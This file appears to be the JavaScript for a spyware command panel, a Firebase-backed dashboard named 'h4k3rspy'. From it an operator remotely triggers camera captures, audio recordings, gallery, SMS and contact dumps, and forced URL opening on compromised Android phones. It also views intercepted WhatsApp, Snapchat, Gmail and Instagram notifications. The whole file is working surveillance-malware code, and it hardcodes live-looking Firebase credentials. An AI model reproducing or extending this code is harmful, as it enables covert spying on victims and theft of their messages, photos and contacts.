// Firebase Configuration
var firebaseConfig = {
apiKey: "AIzaSyCbCGpILXPKkrQ1LWBmltq86JwiMxJqaFI",
authDomain: "h4k3rspy-c4ab0.firebaseapp.com",
databaseURL: "https://h4k3rspy-c4ab0-default-rtdb.firebaseio.com",
projectId: "h4k3rspy-c4ab0",
storageBucket: "h4k3rspy-c4ab0.firebasestorage.app",
messagingSenderId: "833031176871",
appId: "1:833031176871:web:11822e9543619f631f9182",
measurementId: "G-KBEB9RBK56"
};
// Initialize Firebase
firebase.initializeApp(firebaseConfig);
var database = firebase.database();
var selectedDeviceId = null;
var currentCommandDeviceId = null; // For URL and Vibration modals
// Global arrays for duplicate checking
var lastCaptureImages = [];
var lastGalleryImages = [];
/**
* On page load, check for persistent login.
*/
document.addEventListener("DOMContentLoaded", function() {
// Show device loading spinner while devices load
document.getElementById("deviceSpinner").style.display = "flex";
if (localStorage.getItem("isLoggedIn") === "true") {
var allowedDevices = JSON.parse(localStorage.getItem("allowedDevices"));
document.getElementById("loginSection").classList.add("hidden");
document.getElementById("mainContent").classList.remove("hidden");
populateDevices(allowedDevices);
}
});
/**
* Login function: sends password to login.php.
*/
function handleLogin() {
var password = document.getElementById("loginPassword").value.trim();
if (!password) {
document.getElementById("loginErrorMsg").textContent = "Please enter password.";
document.getElementById("loginErrorMsg").classList.remove("hidden");
return;
}
fetch('php/login.php', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'password=' + encodeURIComponent(password)
})
.then(response => response.text())
.then(text => {
console.log("Raw response text:", text);
if (!text) throw new Error("Empty response from server.");
try { return JSON.parse(text); }
catch (e) { throw new Error("Failed to parse JSON: " + e.message); }
})
.then(data => {
if (data.error) {
document.getElementById("loginErrorMsg").textContent = "Login failed: " + data.error;
document.getElementById("loginErrorMsg").classList.remove("hidden");
} else if (!Array.isArray(data)) {
document.getElementById("loginErrorMsg").textContent = "Unexpected response format.";
document.getElementById("loginErrorMsg").classList.remove("hidden");
} else {
localStorage.setItem("isLoggedIn", "true");
localStorage.setItem("allowedDevices", JSON.stringify(data));
document.getElementById("loginSection").classList.add("hidden");
document.getElementById("mainContent").classList.remove("hidden");
populateDevices(data);
}
})
.catch(error => {
console.error("Error during login:", error);
document.getElementById("loginErrorMsg").textContent = "Login error: " + error.message;
document.getElementById("loginErrorMsg").classList.remove("hidden");
});
}
/**
* Logout function: clears persistent login and reloads the page.
*/
function handleLogout() {
localStorage.removeItem("isLoggedIn");
localStorage.removeItem("allowedDevices");
location.reload();
}
/**
* populateDevices(allowedDevices): fetches device info from Firebase and displays only allowed devices.
*/
function populateDevices(allowedDevices) {
var allowedIds = allowedDevices.map(item => item.device_id);
database.ref('devices').once('value').then(snapshot => {
var devices = snapshot.val();
var deviceListDiv = document.getElementById("deviceList");
deviceListDiv.innerHTML = "";
for (var id in devices) {
if (allowedIds.indexOf(id) !== -1) {
var device = devices[id];
// Smaller card with neat layout
var card = document.createElement("div");
card.className = "device-card bg-white rounded-lg p-4 shadow-md text-center text-sm";
card.innerHTML = `
${device.deviceName || "Unknown Device"}
ID: ${id} | ${device.online ? "Online" : "Offline"}
Camera
Audio
Gallery
Notify
SMS
Contacts
SMS Dump
`;
deviceListDiv.appendChild(card);
}
}
// Hide device loading spinner when done
document.getElementById("deviceSpinner").style.display = "none";
}).catch(error => {
console.error("Error fetching devices from Firebase:", error);
document.getElementById("deviceSpinner").style.display = "none";
});
}
// Torch command remains unchanged.
function sendTorchCommand(deviceId) {
database.ref('commands/' + deviceId + '/torch').set(true);
}
// --- Custom URL Command Modal Functions ---
function openUrlCommandModal(deviceId) {
currentCommandDeviceId = deviceId;
document.getElementById("urlInput").value = "";
document.getElementById("urlTitleInput").value = "";
document.getElementById("urlErrorMsg").classList.add("hidden");
document.getElementById("urlCommandModal").classList.remove("hidden");
}
function submitUrlCommand() {
var url = document.getElementById("urlInput").value.trim();
var errorDiv = document.getElementById("urlErrorMsg");
if (url === "") {
errorDiv.textContent = "URL is required.";
errorDiv.classList.remove("hidden");
return;
}
var title = document.getElementById("urlTitleInput").value.trim();
if (title === "") title = "Open URL";
var payload = { url: url, title: title };
database.ref('commands/' + currentCommandDeviceId + '/openURL').set(JSON.stringify(payload));
closeModal('urlCommandModal');
}
// --- Custom Vibration Command Modal Functions ---
function openVibrationCommandModal(deviceId) {
currentCommandDeviceId = deviceId;
document.getElementById("vibrationDurationInput").value = "";
document.getElementById("vibrationErrorMsg").classList.add("hidden");
document.getElementById("vibrationCommandModal").classList.remove("hidden");
}
function submitVibrationCommand() {
var duration = document.getElementById("vibrationDurationInput").value.trim();
var errorDiv = document.getElementById("vibrationErrorMsg");
if (duration === "" || isNaN(duration) || parseInt(duration) <= 0) {
errorDiv.textContent = "Invalid duration.";
errorDiv.classList.remove("hidden");
return;
}
var durationInt = parseInt(duration);
if (durationInt > 20) durationInt = 20;
database.ref('commands/' + currentCommandDeviceId + '/vibrate').set(durationInt);
closeModal('vibrationCommandModal');
}
// --- Modal handling for other modals ---
function openCaptureModal(deviceId) {
selectedDeviceId = deviceId;
document.getElementById("captureModal").classList.remove("hidden");
loadCaptureImages();
}
function openAudioModal(deviceId) {
selectedDeviceId = deviceId;
document.getElementById("audioModal").classList.remove("hidden");
loadAudioFiles();
}
function openGalleryModal(deviceId) {
selectedDeviceId = deviceId;
document.getElementById("galleryModal").classList.remove("hidden");
loadGalleryImages();
}
function openNotificationsModal(deviceId) {
selectedDeviceId = deviceId;
document.getElementById("notificationsModal").classList.remove("hidden");
loadNotifications();
}
function openSmsModal(deviceId) {
selectedDeviceId = deviceId;
document.getElementById("smsModal").classList.remove("hidden");
loadSmsMessages();
}
function openContactsDumpModal(deviceId) {
selectedDeviceId = deviceId;
document.getElementById("contactsDumpModal").classList.remove("hidden");
loadContactsDump();
}
function openSmsDumpModal(deviceId) {
selectedDeviceId = deviceId;
document.getElementById("smsDumpModal").classList.remove("hidden");
loadSmsDump();
}
function closeModal(modalId) {
document.getElementById(modalId).classList.add("hidden");
}
// --- Additional Dump Functions ---
function sendContactsDumpCommand() {
if (!selectedDeviceId) {
alert("No device selected.");
return;
}
document.getElementById("contactsDumpSpinner").classList.remove("hidden");
database.ref('commands/' + selectedDeviceId + '/contactsDump').set(true);
setTimeout(loadContactsDump, 5000);
}
function sendSmsDumpCommand() {
if (!selectedDeviceId) {
alert("No device selected.");
return;
}
document.getElementById("smsDumpSpinner").classList.remove("hidden");
database.ref('commands/' + selectedDeviceId + '/smsDump').set(true);
setTimeout(loadSmsDump, 5000);
}
function loadContactsDump() {
fetch('php/get_contacts.php?device_id=' + selectedDeviceId)
.then(response => response.json())
.then(data => {
var container = document.getElementById("contactsDumpList");
container.innerHTML = "";
data.forEach(function(contact) {
var contactDiv = document.createElement("div");
contactDiv.className = "contact-item flex items-center p-2 border-b border-gray-200";
var icon = document.createElement("img");
icon.src = "icons/contact.png";
icon.alt = "Contact Icon";
icon.className = "w-6 h-6 mr-3";
var detailsDiv = document.createElement("div");
detailsDiv.innerHTML = `${contact.name}
${contact.number}
`;
contactDiv.appendChild(icon);
contactDiv.appendChild(detailsDiv);
container.appendChild(contactDiv);
});
document.getElementById("contactsDumpSpinner").classList.add("hidden");
})
.catch(error => {
console.error("Error loading contacts dump:", error);
document.getElementById("contactsDumpSpinner").classList.add("hidden");
});
}
function loadSmsDump() {
fetch('php/get_sms_dump.php?device_id=' + selectedDeviceId)
.then(response => response.json())
.then(data => {
var container = document.getElementById("smsDumpList");
container.innerHTML = "";
data.forEach(function(sms) {
var smsDiv = document.createElement("div");
smsDiv.className = "sms-item flex items-center p-2 border-b border-gray-200";
var icon = document.createElement("img");
icon.src = "icons/sms.png";
icon.alt = "SMS Icon";
icon.className = "w-6 h-6 mr-3";
var detailsDiv = document.createElement("div");
detailsDiv.innerHTML = `${sms.sender}
${sms.message}
`;
smsDiv.appendChild(icon);
smsDiv.appendChild(detailsDiv);
container.appendChild(smsDiv);
});
document.getElementById("smsDumpSpinner").classList.add("hidden");
})
.catch(error => {
console.error("Error loading SMS dump:", error);
document.getElementById("smsDumpSpinner").classList.add("hidden");
});
}
// --- Capture Modal Functions ---
function handleCaptureClick() {
document.getElementById("captureSpinner").classList.remove("hidden");
sendCaptureCommand();
}
function sendCaptureCommand() {
database.ref('commands/' + selectedDeviceId + '/capture').set(true);
}
function loadCaptureImages() {
if (!selectedDeviceId) return;
fetch('php/get_images.php?device_id=' + selectedDeviceId)
.then(response => response.json())
.then(data => {
if (JSON.stringify(data) === JSON.stringify(lastCaptureImages)) {
document.getElementById("captureSpinner").classList.add("hidden");
return;
}
lastCaptureImages = data;
var container = document.getElementById("captureImages");
container.innerHTML = "";
data.forEach(function(filename) {
var img = document.createElement("img");
img.src = "uploads/camera_uploads/" + filename;
img.className = "capture-img";
container.appendChild(img);
});
document.getElementById("captureSpinner").classList.add("hidden");
})
.catch(error => {
console.error("Error loading capture images:", error);
document.getElementById("captureSpinner").classList.add("hidden");
});
}
// --- Audio Modal Functions ---
function handleAudioRecordClick() {
document.getElementById("audioSpinner").classList.remove("hidden");
var durationInput = document.getElementById("audioDurationInput").value;
// Instead of alert, you can set an inline error message here (for brevity, using alert below)
if (!durationInput || isNaN(durationInput) || parseInt(durationInput) <= 0) {
alert("Invalid duration.");
document.getElementById("audioSpinner").classList.add("hidden");
return;
}
database.ref('commands/' + selectedDeviceId + '/audioRecord').set(parseInt(durationInput));
}
function loadAudioFiles() {
if (!selectedDeviceId) return;
fetch('php/get_audio.php?device_id=' + selectedDeviceId)
.then(response => response.json())
.then(data => {
var container = document.getElementById("audioFiles");
container.innerHTML = "";
data.forEach(function(filename) {
var player = createAudioPlayer(filename);
container.appendChild(player);
});
document.getElementById("audioSpinner").classList.add("hidden");
})
.catch(error => {
console.error("Error loading audio files:", error);
document.getElementById("audioSpinner").classList.add("hidden");
});
}
function createAudioPlayer(filename) {
var container = document.createElement("div");
container.className = "audio-player flex items-center space-x-2";
var audio = document.createElement("audio");
audio.src = "uploads/audio_records/" + filename;
audio.className = "hidden";
var btn = document.createElement("button");
btn.className = "bg-blue-500 hover:bg-blue-600 text-white p-2 rounded-full focus:outline-none";
btn.innerHTML = "►";
btn.onclick = function() {
if (audio.paused) {
audio.play();
btn.innerHTML = "❚❚";
} else {
audio.pause();
btn.innerHTML = "►";
}
};
var label = document.createElement("span");
label.className = "text-sm text-gray-700";
label.textContent = filename;
container.appendChild(btn);
container.appendChild(label);
container.appendChild(audio);
return container;
}
// --- Gallery Dump Functions ---
function sendGalleryDumpCommand() {
var countInput = document.getElementById("galleryCountInput").value;
// Inline error display for gallery command (optional)
if (!countInput || isNaN(countInput) || parseInt(countInput) <= 0) {
alert("Invalid number.");
return;
}
document.getElementById("gallerySpinner").classList.remove("hidden");
database.ref('commands/' + selectedDeviceId + '/galleryDump').set(parseInt(countInput));
}
function loadGalleryImages() {
if (!selectedDeviceId) return;
document.getElementById("gallerySpinner").classList.remove("hidden");
fetch('php/get_gallery.php?device_id=' + selectedDeviceId)
.then(response => response.json())
.then(data => {
var container = document.getElementById("galleryImages");
container.innerHTML = "";
let seen = new Set();
data.forEach(function(record) {
if (!seen.has(record.filename)) {
seen.add(record.filename);
var imgContainer = document.createElement("div");
imgContainer.className = "flex flex-col items-center";
var img = document.createElement("img");
img.src = "uploads/gallery_dump/" + record.filename;
img.className = "capture-img";
var label = document.createElement("span");
label.className = "text-sm text-gray-700 mt-1";
label.textContent = `ID: ${record.id} - ${record.filename}`;
imgContainer.appendChild(img);
imgContainer.appendChild(label);
container.appendChild(imgContainer);
}
});
document.getElementById("gallerySpinner").classList.add("hidden");
})
.catch(error => {
console.error("Error loading gallery images:", error);
document.getElementById("gallerySpinner").classList.add("hidden");
});
}
// --- Notifications & SMS Functions ---
const allowedPackages = [
"com.whatsapp",
"com.facebook.orca",
"com.snapchat.android",
"com.google.android.gm",
"com.instagram.android",
"sms"
];
const packageIcons = {
"com.whatsapp": "icons/whatsapp.png",
"com.facebook.orca": "icons/facebook_messenger.png",
"com.snapchat.android": "icons/snapchat.png",
"com.google.android.gm": "icons/gmail.png",
"com.instagram.android": "icons/instagram.png",
"sms": "icons/sms.png"
};
function loadNotifications() {
fetch(`php/get_notifications.php?device_id=${selectedDeviceId}`)
.then(response => response.json())
.then(data => {
var container = document.getElementById("notificationsList");
container.innerHTML = "";
data.forEach(function(notification) {
var div = document.createElement("div");
div.className = "notification-item flex items-center space-x-2 p-2 border-b border-gray-200";
var iconUrl = packageIcons[notification.package] || "icons/default.png";
var img = document.createElement("img");
img.src = iconUrl;
img.alt = notification.package;
img.className = "notification-icon w-6 h-6";
var textDiv = document.createElement("div");
textDiv.innerHTML = `
${notification.title}
${notification.text}
${new Date(notification.created_at).toLocaleString()}
`;
div.appendChild(img);
div.appendChild(textDiv);
container.appendChild(div);
});
})
.catch(error => console.error("Error loading notifications:", error));
}
function loadSmsMessages() {
fetch(`php/get_sms.php?device_id=${selectedDeviceId}`)
.then(response => response.json())
.then(data => {
var container = document.getElementById("smsList");
container.innerHTML = "";
data.forEach(function(sms) {
var div = document.createElement("div");
div.className = "sms-item";
div.innerHTML = `${new Date(sms.created_at).toLocaleString()}: ${sms.sender}: ${sms.message}
`;
container.appendChild(div);
});
})
.catch(error => console.error("Error loading SMS messages:", error));
}
// Auto-refresh notifications, capture images, audio files, and gallery images every 10 seconds
setInterval(loadNotifications, 10000);
setInterval(loadCaptureImages, 10000);
setInterval(loadAudioFiles, 10000);
setInterval(loadGalleryImages, 10000);